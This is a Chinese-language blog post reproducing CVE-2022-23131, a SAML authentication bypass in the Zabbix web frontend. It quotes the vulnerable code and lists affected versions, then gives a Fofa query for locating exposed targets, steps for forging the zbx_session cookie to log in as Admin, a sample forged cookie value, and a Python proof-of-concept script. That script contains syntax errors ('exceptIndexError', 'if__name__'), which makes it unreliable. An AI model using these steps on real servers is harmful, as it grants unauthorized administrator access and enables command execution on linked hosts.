(CVE-2022-23131)Zabbix登录绕过漏洞复现

Zabbix登录绕过漏洞复现(CVE-2022-23131)
漏洞描述
安全断言标记语言 (SAML) 是最常见的单点登录 (SSO) 标准之一。围绕 XML 实现,它允许身份提供者(IdP,一个能够对用户进行身份验证的实体)告诉服务提供者(SP,这里是 Zabbix)你是谁。
您可以将Zabbix Web 前端配置为允许通过 SAML 进行用户身份验证,但默认情况下不启用它,因为它需要了解身份提供者的详细信息。这是企业部署最常见的设置。
在启用 SAML SSO 身份验证的实例上,它允许绕过身份验证并获得管理员权限。攻击者可以使用此访问权限在链接的Zabbix Server和Zabbix Agent实例上执行任意命令。

如果会话中存在名为saml_data的条目,则提取其值并根据 username_attribute的值在 Zabbix 上对用户进行身份验证,与 SAML 身份验证机制相关的代码可以在index_sso.php中找到。

if (CSessionHelper::has('saml_data')) {
       $saml_data = CSessionHelper::get('saml_data');
       CWebUser::$data = API::getApiService('user')->loginByUsername($saml_data['username_attribute'],
           (CAuthenticationHelper::get(CAuthenticationHelper::SAML_CASE_SENSITIVE) == ZBX_AUTH_CASE_SENSITIVE),
           CAuthenticationHelper::get(CAuthenticationHelper::AUTHENTICATION_TYPE)
       );

影响版本

影响版本

Zabbix Web 前端版本包括

•5.4.8
•5.0.18
•4.0.36
•6.0.0alpha1


漏洞复现
Fofa 语法

app="ZABBIX-监控系统" && body="saml"


 

点击 Sign in 下方的 Sign in with Single Sign-On (SAML)

使用Yakit抓包

复制 zbx_session 的值,使用 base64 解密一下 

解密出来的数据和 {“saml_data”:{“username_attribute”:“Admin”} 结合一下

{"saml_data":{"username_attribute":"Admin"},"sessionid":"dd58ca7933bdd5d1aca679b283d294f3","sign":"tcf2XFsJVyRM4N0rybN2t5b0bTjkPZlus99KujRtyRb24zcHAtuNmPyP0emtfowDMRtwQNKJCqAXccrwc6rxpw=="}

 然后base64加密一下

eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiZGQ1OGNhNzkzM2JkZDVkMWFjYTY3OWIyODNkMjk0ZjMiLCJzaWduIjoidGNmMlhGc0pWeVJNNE4wcnliTjJ0NWIwYlRqa1BabHVzOTlLdWpSdHlSYjI0emNIQXR1Tm1QeVAwZW10Zm93RE1SdHdRTktKQ3FBWGNjcndjNnJ4cHc9PSJ9

 然后在Yakit替换zbx_session=的值

 成功登录

别的地方看到不知道哪个表哥的python 

# coding

import sys
import requests
import re,base64,urllib.parse,json
# 禁用警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def runPoc(url):
    response = requests.get(url,verify=False)

    cookie = response.headers.get("Set-Cookie")

    sessionReg = re.compile("zbx_session=(.*?);")
    try:
        session = re.findall(sessionReg,cookie)[0]

        base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
        session_json = json.loads(base64_decode)

        payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])

        print("未加密Payload:" + payload)
        print('\n')
        payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))

        print("加密后Payload:" + payload_encode)

    exceptIndexError:
        print("[-] 不存在漏洞")

if__name__ == '__main__':
    try:
        url = sys.argv[1]
        runPoc(url)
    exceptIndexError:
        print("""
    Use: python CVE-2022-23131.py http://xxxxxxxxx.com
            
            By:MrHatSec""")

猜你喜欢

转载自blog.csdn.net/qq_17754023/article/details/126297333